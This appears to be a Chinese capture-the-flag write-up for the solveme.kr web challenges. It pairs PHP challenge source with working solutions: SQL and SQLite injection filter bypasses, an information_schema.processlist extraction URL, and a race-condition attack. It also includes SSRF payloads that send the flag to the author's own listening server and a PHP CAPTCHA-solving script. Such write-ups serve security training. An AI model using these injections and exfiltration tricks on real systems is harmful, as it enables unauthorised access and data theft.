solveme.kr writeup

Warm up


<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

    highlight_file(__FILE__);

直接base64解密就出来了

Bad compare

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['answer'])){

        if($_GET['answer'] === '����������'){
            echo $flag;
        }else{
            echo 'Wrong answer';
        }

        echo '<hr>';
    }

    highlight_file(__FILE__);

文字编码导致的问题,字符库里不存在将导致复制出错,应该想办法查看真实的值,可以用burp之类的检查hex,也可以更换编码以便复制,比如更换为韩文编码,提交的时候再把韩文编码一下即可,提供一个小工具

Winter sleep

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['time'])){

        if(!is_numeric($_GET['time'])){
            echo 'The time must be number.';

        }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
            echo 'This time is too short.';

        }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
            echo 'This time is too long.';

        }else{
            sleep((int)$_GET['time']);
            echo $flag;
        }

        echo '<hr>';
    }

    highlight_file(__FILE__);

跟php不同函数特性有关,参考我发的这篇帖子,通过测试可以发现服务器php版本应该是7.0.xx,因而不支持16进制写法,所以可以使用科学记数法绕过。

Thirty six

59714216653669596140166323768414581512983971077273551022216

10进制转36进制即可。不过很多在线进制转换工具的精度不够,我用类似下面的代码处理了


Hard login

<?php
    error_reporting(0);
    session_start();
    require __DIR__.'/lib.php';
    if(isset($_GET['id'], $_GET['pw'])){
        if(isset($_SESSION['hard_login_check'])){
            echo 'Already logged in..';
        }else if($_GET['id'] == $hidden_id){
            if($_GET['pw'] == $hidden_pw){
                $_SESSION['hard_login_check'] = true;
                echo 'Login Success!';
            }else{
                echo 'Wrong pw..';
            }
        }else{
            echo 'Wrong id..';
        }
        echo '<hr>';
    }
    highlight_file(__FILE__);

其实这题不是代码审计……
原来给出的链接是/prob/hard_login/,点击后有个跳转,跳到/prob/hard_login/login.php,burp拦截跳转,重放即可看到flag

Array2String

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    $value = $_GET['value'];

    $username = $_GET['username'];
    $password = $_GET['password'];

    for ($i = 0; $i < count($value); ++$i) {
        if ($_GET['username']) unset($username);
        if ($value[$i] > 32 && $value[$i] < 127) unset($value);
        else $username .= chr($value[$i]);

        if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
            echo 'Hello '.$username.'!', '<br>', PHP_EOL;
            echo $flag, '<hr>';
        }
    }

    highlight_file(__FILE__);

php的ord函数,在输入的数字超出范围的情况下,会模掉256然后求余。

Hash collision

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['foo'], $_GET['bar'])){

        if(strlen($_GET['foo']) <= 30 && strlen($_GET['bar']) <= 30){
            if($_GET['foo'] !== $_GET['bar']){
                if(hash('sha512', $_GET['foo']) === hash('sha512', $_GET['bar'])){
                    echo $flag;
                }else{
                    echo 'Different hash';
                }
            }else{
                echo 'Same value';
            }
        }else{
            echo 'Too long';
        }

        echo '<hr>';
    }

    highlight_file(__FILE__);

提交xxx[]的形式,将提交的参数变为数组,然后赋不同值即可。

GIF89a

给了这么一个文件,根据提示,添加gif头,补全图像信息,用ps打开发现大小不对,有部分像素被隐藏,参照GIF文件格式和文件属性中的像素大小,修改文件的像素。
打开后发现隐藏的数据是一堆图标,可以想到是图标字体库影响,打开PS寻找相应字体,然后一一对应,即可获取flag。

Flag not found

给出了一个flag文件。
下载flag文件,ultraedit打开看到flag.txt字样,怀疑是某种压缩文件,到http://checkfiletype.com/ 检查一下,提示是
File Type: LHa (2.x)/LHark archive data [lh7] - header level 0
google了一圈,的确是个压缩文件,wiki百科上说这个有拓展名lha lzh,改拓展名发现winrar支持,但是无法解压,怀疑是文件末尾被破坏了。
下载7-zip,改拓展名为lh7,可以提取出一个flag.txt(然而只是让我加油……)
……
回到flag.lh7,7-zip显示偏移了62字节,Ultraedit打开发现的确有两个lh7字样,测试发现后者是解压出来的txt,前者应该就是要解码的flag了。
C32查看文件,通过参考链接 ,里面记载了LZH的文件格式。反复调试提取并修复上面的压缩文件,拿到本题flag。

Give me a link

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['url'])){
        $url = $_GET['url'];

        if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
            die('Not allowed URL');
        }

        if(preg_match('/_|\s|\0/', $url)){
            die('Not allowed character');
        }

        $parse = parse_url($url);
        if(basename($parse['path']) !== 'plz_give_me'){
            die('Not allowed path');
        }

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_exec($ch);
        curl_close($ch);

        echo 'Okay<hr>';
    }

    highlight_file(__FILE__);

首先用burp fuzz一下能代替下划线的,然后随便选一个,用https://[email protected]/plz%01give%01me这种格式绕过就可以在自己的服务器上看到访问记录了。

Give me a link 2

ip2long转换一下ip,用上题fuzz出来的结果替换一下划线
得到payload

/?url=https://1869573999:443%2fplz%1fgive%1fme

就可以在111.111.111.111这台机子上监听443端口,等待发送来的flag即可。

Replace filter

<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['say']) &amp;&amp; strlen($_GET['say']) < 20){
    $say = preg_replace(
    '/^(.*)flag(.*)$/',
    '${1}<!-- FILTERED -->${2}',
    $_GET['say']
    );
    if(preg_match('/give_me_the_flag/', $say)){
        echo $flag;
    }else{
        echo "What does \"{$say}\" mean?";
    }
    echo '<hr />';
}
highlight_file(__FILE__);

.匹配任意字符但是不匹配换行,而^ $又限定了必须在同一行,因此提交的时候在中间带上换行即可。

Lax CAPTCHA

<?php
    error_reporting(0);
    session_start();
    require __DIR__.'/lib.php';

    if(isset($_GET['generate'])){

        $img = imagecreatetruecolor(450, 55);
        $color = imagecolorallocate($img, mt_rand(70, 255), mt_rand(70, 255), mt_rand(70, 255));
        imagefill($img, 0, 0, $color);

        for($i = 0, $x = 7; $i < 15; ++$i, $x += 30){
            $temp = mt_rand(-7, 7);
            $color = imagecolorallocate($img, mt_rand(0, 69), mt_rand(0, 69), mt_rand(0, 69));
            imageline($img, $x + 9 + $temp, 0, $x + 9 - $temp, 55, $color);
            $color = imagecolorallocate($img, mt_rand(0, 69), mt_rand(0, 69), mt_rand(0, 69));
            if($i % 4 === 0) imageline($img, 0, mt_rand(5, 50) + $temp, 450, mt_rand(5, 50) - $temp, $color);
        }

        for($i = 0, $x = 7, $answer = ''; $i < 15; ++$i, $x += 30){
            $color = imagecolorallocate($img, mt_rand(0, 69), mt_rand(0, 69), mt_rand(0, 69));
            $answer .= chr(mt_rand(ord('A'), ord('Z')));
            imagettftext($img, 15, 0, $x, 35, $color, __DIR__.'/arial.ttf', $answer[$i]);
        }

        $filepath = __DIR__."/{$answer}";
        imagepng($img, $filepath, 9);
        imagedestroy($img);

        $captcha = base64_encode(file_get_contents($filepath));
        echo "<img src='data:image/png;base64,{$captcha}'>";
        unlink($filepath);

        $_SESSION['lax_captcha_answer'] = $answer;
        $_SESSION['lax_captcha_time'] = time();

        echo '<hr>';

    }elseif(isset($_SESSION['lax_captcha_answer'], $_SESSION['lax_captcha_time'])){

        if(isset($_GET['answer'])){

            if((time() - $_SESSION['lax_captcha_time']) <= 3){
                if( $_GET['answer'] === $_SESSION['lax_captcha_answer'] ){
                    echo $flag;
                }else{
                    echo 'Wrong answer';
                }
             }else{
                 echo 'Timer over';
             }

            echo '<hr>';
        }

        unset($_SESSION['lax_captcha_answer'], $_SESSION['lax_captcha_time']);
    }

    highlight_file(__FILE__);

验证码识别,写了个有点low的识别,没有处理线条,成功率还是有的,运行个十几二十次能跑出来

代码如下

p_function.php

<?php
function send($method,$url,$header="",$postcontent=""){
	$ch = curl_init();//初始化,创建一个新curl资源
	curl_setopt($ch, CURLOPT_URL,$url);//设置url
	curl_setopt($ch,CURLOPT_CUSTOMREQUEST,$method);//自定义方式,GET,POST,PUT,DELETE等都可以
	curl_setopt($ch, CURLOPT_HTTPHEADER,$header);//自定义http_header
	if ($postcontent!=""){
		curl_setopt($ch, CURLOPT_POSTFIELDS,$postcontent);
	}
	curl_setopt($ch, CURLOPT_TIMEOUT, 60);//允许curl执行最大秒数
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);  //从证书中检查SSL加密算法是否存在
	curl_setopt($ch, CURLOPT_HEADER, true);//设置获取返回头
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );//以字符串的形式返回cURL句柄获取的内容
	$output = curl_exec($ch);//执行
	$headersize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);//获取返回头大小
	$header_response = substr($output, 0, $headersize);//截取返回头
	$header_response=explode("\r\n",$header_response);
	array_pop($header_response);
	array_pop($header_response);//弹出两个空行
	$output_body=substr($output,$headersize);
	foreach ($header_response as $key => $value) {
		$t=explode(' ',$value,2);
		if(stristr($t[0],'Set-Cookie')){
			$CookieT=explode(';',$t[1]);
			foreach ($CookieT as $key1 => $value1) {
				$ttt=explode('=',$value1,2);
				$cookie[$ttt[0]]=$ttt[1];
			}
			$tt[$t[0]]=$cookie;
		}else{
			$tt[$t[0]]=$t[1];
		}
	}
	curl_close($ch);//关闭curl,释放资源
	$output_array['header_response']=$tt;
	$output_array['output_body']=$output_body;//以数组的形式展现,方便输出http返回头和html的body
	return $output_array;//返回信息
}

function req_header_format($header){
	//$arr=array();
	foreach ($header as $key => $value) {
		$tmp=explode(' ',$value,2);
		if($tmp[0]!=='Cookie:'){
			$arr[$tmp[0]]=$tmp[1];
		}else{
			if(stripos($tmp[1],';')){
				$t0=explode(';',$tmp[1]);
				foreach ($t0 as $key1 => $value1) {
					$t1=explode('=',$value1,2);
					$a_cookie[$t1[0]]=$t1[1];
				}
			}else{
				$t0=explode(' ',$value,2);
				$t1=explode('=',$t0[1],2);
				$a_cookie[$t1[0]]=$t1[1];
			}
			$arr['Cookie:']=$a_cookie;
		}
	}
	return($arr);
}
function req_header_unformat($format_header){
	foreach ($format_header as $key => $value) {
		if(!is_array($value)){
			$arr[]=$key.' '.$value;
		}else{
			$t=$key.'';
			foreach ($value as $key1 => $value1) {
				$t.=' '.$key1.'='.$value1.';';
			}
			$arr[]=$t;
		}
	}
	return($arr);
}


function send_follow_30x($method,$url,$header,$postcontent){
	$a=send($method,$url,$header,$postcontent);
	$fm_header=req_header_format($header);
	if($a['header_response']['Set-Cookie:']){
		if($fm_header['Cookie:']){
			foreach ($a['header_response']['Set-Cookie:'] as $key => $value) {
				array_unshift($fm_header['Cookie:'], $value);
			}
		}else{
				$fm_header['Cookie:']= $a['header_response']['Set-Cookie:'];
		}
	}
	$header=req_header_unformat($fm_header);
	for (;; ) { 	
		if(preg_match('/30\w?\s?Found/',$a['header_response']['HTTP/1.1'])){
			$a=send($method,$a['header_response']['Location:'],$header,$postcontent);
		}else{
			break 1;
		}
	}
	return $a;
}

?>

uvcode.php

<?php
header("Content-type: text/txt");
// header("Content-type: image/png");
include 'p_function.php';

$header[]='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36';
$header[]='Cookie: PHPSESSID=8d7ct91hd4ff6vlv4r2ul1o521';

$content_a=send('GET','http://solveme.safflower.kr/prob/lax_captcha/?generate',	$header);
$content=$content_a['output_body'];

$p=addslashes('\'><hr><code><span style="color: #000000">');
preg_match('/<img src=\'data:image\/png;base64,(.+)\'><hr><code><span style="color: #000000">/', $content,$c);

// 获取目标字符
$rimg=imagecreatefromstring(base64_decode($c[1]));
$rcolor=imagecolorat($rimg,0,0);
for($rmx=0;$rmx<15;$rmx++){
	for($ry=20;$ry<35;$ry++){
		for($rix=0;$rix<15;$rix++){
			$rimgc=imagecolorat($rimg,$rix+7+$rmx*30, $ry)===$rcolor?0:1;
			// echo $rimgc;
			@$rimgc_a[$rmx].=$rimgc;
		}
		// echo "\n";
	}
	// echo "\n";
}
// print_r($rimgc_a);

// 获取源字符
for($t=65;$t<=90;$t++){
	$im = @imagecreate(15, 15)
	or die("Cannot Initialize new GD image stream");
	$background_color = imagecolorallocate($im, 255, 255, 255);
	imagettftext($im, 15, 0, 0, 15, imagecolorallocate($im,0,0,0), 'arial.ttf', chr($t));
// imagepng($im);
	for($iy=0;$iy<15;$iy++){
		for($ix=0;$ix<15;$ix++){
			$imgc=imagecolorat($im,$ix,$iy)===0?0:1;
			// echo $imgc;
			@$imgc_a[chr($t)].=$imgc;
		}
		// echo "\n";
	}
	// echo "\n";
}
// print_r($imgc_a);


foreach ($rimgc_a as $ordr => $src_xor) {
	$res_xor_m_top=0;
	foreach ($imgc_a as $ord => $des_xor) {
		$res_xor_c=0;
		for($i_xor=0;$i_xor<strlen($src_xor);$i_xor++){
			@$res_xor=(int)substr($src_xor, $i_xor, 1)^(int)substr($des_xor, $i_xor, 1);
			if($res_xor==0)
				$res_xor_c++;
			@$res_xor_s.=$res_xor;
		}
		$match_p=$res_xor_c/strlen($src_xor);
		if($match_p>$res_xor_m_top){
			$res_xor_m_top=$match_p;
			$res_m_top=$ord;
		}
	}
	@$res_m.=$res_m_top;
	// echo $res_xor_m_top."\n";
}
echo $res_m."\n";

$answer_a=send('GET',"http://solveme.safflower.kr/prob/lax_captcha/?answer=$res_m",$header);
$answer=$answer_a['output_body'];
echo $answer;
?> 

修改uvcode.php里的phpsession即可,跑个十几次能跑出来。

Anti SQLi

<?php
    // It's Anti SQLi' problem of 'Solve Me'.
    error_reporting(0);
    require __DIR__.'/lib.php'; 
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    if(isset($id, $pw)){
        preg_match(
            '/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
            '=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
            '0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
            '[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
            'union[\s\xA0]+select|[\s\xA0](where|having)|'.
            '[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
            'information_schema|procedure\s+analyse\s*/is',
            $id.','.$pw
        ) and die('Hack detected');
        $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
            or die('SQL server down');
        $result = mysqli_fetch_array(
            mysqli_query(
                $con, 
                "SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
            )
        );
        mysqli_close($con);
        if(isset($result)){
            if($result['no'] === '31337'){
                echo $flag;
                
            }else{
                echo 'Hello, ', $result['id'];
            }
        }else{
            echo 'Login failed';
        }
        echo '<hr>';
    }
    highlight_file(__FILE__);
  • \\并不能匹配到\,preg匹配时php(似乎)会进行两次转义操作,原先的\\被转义成\,也就是\\|变成了\|,再次转义就会变成字符串|,也就导致\\xA0无法匹配到,只有提交|%a0才会被匹配到。(适用php所有版本)
  • and or 都被匹配了,用xor。
  • 充当空格的09 0A 0B 0C 0D A0 20都被匹配到了,导致--注释后面加不上空格,但是--后面使用%10 %01 %11 %02 %12 %03 %13 %04 %14 %05 %15 %06 %16 %07 %17 %08 %18 %19 %1a %1c %1d %1b %0e %1e %0f %1f %7f 这些字符,依然能够使注释起作用。
  • union select 检测,用union all select 绕过
  • 然后是需要匹配到no=31337,过滤了<>=, 不过其他二元运算符还能用,比如取余和除法,二元运算返回值进行四舍五入后不为0,相当于返回为真。
    之前antisqli那题的sql服务挂了,所以没做,也不知道里面的数据长什么样。原来以为数据表里有no为31337的记录,结果测试发现只有no=1和no=2的记录,因此需要自己构造数据,上面这条划掉的权当参考,在其他题目中可能有帮助

Name check

之前没做,觉得是SQLite的注入,做题会费劲,后来看了别人的解之后才发现不难。

稍微要看懂的是SQLite的语句

SELECT 
            MAX('0','1','{$name}') LIKE 'a%', 
            INSTR('{$name}','d')>0, 
            MIN('{$name}','b','c') LIKE '__m__', 
            SUBSTR('{$name}',-2)='in'

其中MAX('0','1','{$name}') LIKE 'a%', ,取 0 1 和name中最大值,当以a开头时语句为真,返回1。SQLite手册 MAX

INSTR('{$name}','d')>0, 用于寻找name中是否存在d,存在则返回1,然后1>0成立,再返回1。SQLite手册 INSTR

MIN('{$name}','b','c') LIKE '__m__', 用于寻找name b c中的最小值,以name的第一个字符与b c排序,再要求符合__m__这样的格式。

SUBSTR('{$name}',-2)='in'要求最后两个字符为in

然后以上四者都要成立,则就是要求字符是admin了,但是正则过滤了/admin|--|;|\(\)|\/\*|\\0/i。那么可以用||连接字符,php检测不到,而SQLite可执行。
大概长这样

http://namecheck.solveme.peng.kr/?name=a%27||%27dmin

I am slowly

<?php
    // It's 'I am slowly' problem of 'Solve Me'.
    error_reporting(0);
    require __DIR__.'/lib.php'; 

    $table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
    $answer = $_GET['answer'];

    if(isset($_GET['answer'])){

        $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
            or die('SQL server down');

        $result = mysqli_fetch_array(
            mysqli_query($con, "SELECT `count` FROM `{$table}`;")
        );
        if(!isset($result)){
            mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
            $new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
            mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");

        }elseif($result['count'] === '12'){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo 'Game over';
            goto quit;
        }

        $randtime = mt_rand(1, 10);
        $result = mysqli_fetch_array(
            mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
        );
        if(isset($result) && $result['answer'] === $answer){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo $flag;
        }else{
            mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
            echo 'Go fast';
        }

quit:
        mysqli_close($con);
        echo '<hr>';
    }

    highlight_file(__FILE__);

这题有个条件竞争的问题。
程序流程为
sql查询count => 执行sql语句 => update count
可以想到,在“查询count”和“update count”之间,实际上有个时间差,而通过注入sleep可以加大这个时间差。
而只要count != 12就不会重置数据表。

  • 因此只要通过线程并发,即可绕过查询次数限制。
  • 由于程序自带随机sleep 1-10s,因此在查询正确的结果上再多sleep 10s即可。

正如题名,解这题非常的耗时间,程序可能需要跑很久……
补充一句,dnslog用不了,否则dnslog应该是最好且最快速的解决方法。

另外在官方wp区看到另外一个解,利用了information_schema.processlist这个表。

http://iamslowly.thinkout.rf.gd/?answer=a%27+union+select+substr(info,66,85),2+from+information_schema.processlist+where+%271%27=%271&i=1

URL filtering

<?php
    error_reporting(0);
    require __DIR__."/lib.php";

    $url = urldecode($_SERVER['REQUEST_URI']);
    $url_query = parse_url($url, PHP_URL_QUERY);

    $params = explode("&", $url_query);
    foreach($params as $param){

        $idx_equal = strpos($param, "=");
        if($idx_equal === false){
            $key = $param;
            $value = "";
        }else{
            $key = substr($param, 0, $idx_equal);
            $value = substr($param, $idx_equal + 1);
        }

        if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
            die("no hack");
        }
    }

    if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
        die($flag);
    }

    highlight_file(__FILE__);

非官方wp

在这题绕了很久,以为函数是没有问题的,又是fuzz又是各种构造,然后才从函数入手。

问题在于parse_url,手册提到了一点,对于file协议,允许匹配三个斜杠,而对于其他协议则不允许,也就是说,不规范的URL将导致$url_query为空,成功绕过下面的判断代码。

官方wp

上面的做法并没有将可疑的$url = urldecode($_SERVER['REQUEST_URI']);这一句用上,因为像这样重新进行解码,将会导致如?a%3d1变成?a=1,再通过自定义流程,变成参数a及值1,而实际上只有一个参数a%3d1
与上面处理方式相同的地方在于,官方给出的wp也是通过改变$url_query来达到目的:由于RFC规范一个url的格式为形如http://username:[email protected]/path?arg=value#anchor这样的,问号后面的为query_string,即查询语句,而#后面的则是fragment,用于id选择,而代码中parse_url一句明确选择了query部分,代码中多余的一步urldecode操作正是为注入成为fragment提供了契机。

Hell JS

核心代码是jsfuck编码后的,太长就不贴了。

将js复制到开发者工具console进行调试,切换到source模式开启暂停,在弹窗里随便输,然后持续跟进代码。

然后可以看到进行了字符串比较,flag到手

另一解法

jsfuck编码后的代码,可以试试将整个代码最后一个()改成.toString(),如

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]).toString()
'function anonymous() {\nalert(1)\n}'

Cheap lottery

游戏规则是这样,去买票,然后等60秒后刷新一下页面,数据库里会有一个admin的票和你的票,相等则拿到flag
则需要进行注入,特殊符号都没有过滤,但是过滤了=[] 和所有字母,字母可以用 collation 绕过,另外似乎还有一个mysql查找顺序的问题。
这个问题p师傅有提到过,见Mysql字符编码利用技巧

因此可以通过注入,创建另一个ip的admin和guest的表,然后用另一个ip访问。
应该也可以通过注入,复制admin的票到guest。

参考Cheap Lottery

Check via eval

过滤了一些字符,可以用<?=$a;?>的形式输出变量$a,另外通过$a{0}='z'的形式设置$a的第一个字符为z

http://checkviaeval.solveme.peng.kr/?flag=$a=%27flax%27;$a{3}=%27g%27;?%3E%3C?=$$a?%3E;11111111111111111;

Super secure hash

代码如下

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    function super_secure_hash($text){
        $hashed = sha1(crc32($text));
        $encoded = base64_encode(hex2bin($hashed));
        return $encoded;
    }

    function login_check($username, $password){
        if(strlen($username) > 4 && strlen($password) > 6){

            $users = json_decode(file_get_contents(__DIR__.'/users.json'));
            foreach($users as $user){
                if($user->username === $username){
                    return $user->password === super_secure_hash($password);
                }
            }
        }
        return false;
    }

    if(isset($_GET['username'], $_GET['password'])){

        if(login_check($_GET['username'], $_GET['password'])){

            if($_GET['username'] === 'admin'){
                echo $flag;
            }else{
                echo 'Hello, '.$_GET['username'].'!';
            }

        }else{
            echo 'Wrong username or password..';
        }

        echo '<hr>';
    }

    highlight_file(__FILE__);

可以很清楚的看到

function super_secure_hash($text){
        $hashed = sha1(crc32($text));
        $encoded = base64_encode(hex2bin($hashed));
        return $encoded;
    }

这个函数,用了crc32作为其中一环的密码处理,因此对应的sha1值是可解的,那么就可以想办法找到对于的值。

users.json如下

[{"username":"admin","password":"G19qLfSByRqrTRS8in1qT\/CWvnc="},{"username":"guest","password":"vANiIasnT\/+9Z5eyvy6H0BMjTgw="}]

可以爆破。不过最后用谷歌搜了一下,明文是artplanevent

谷歌搜索
最终网址

1 Like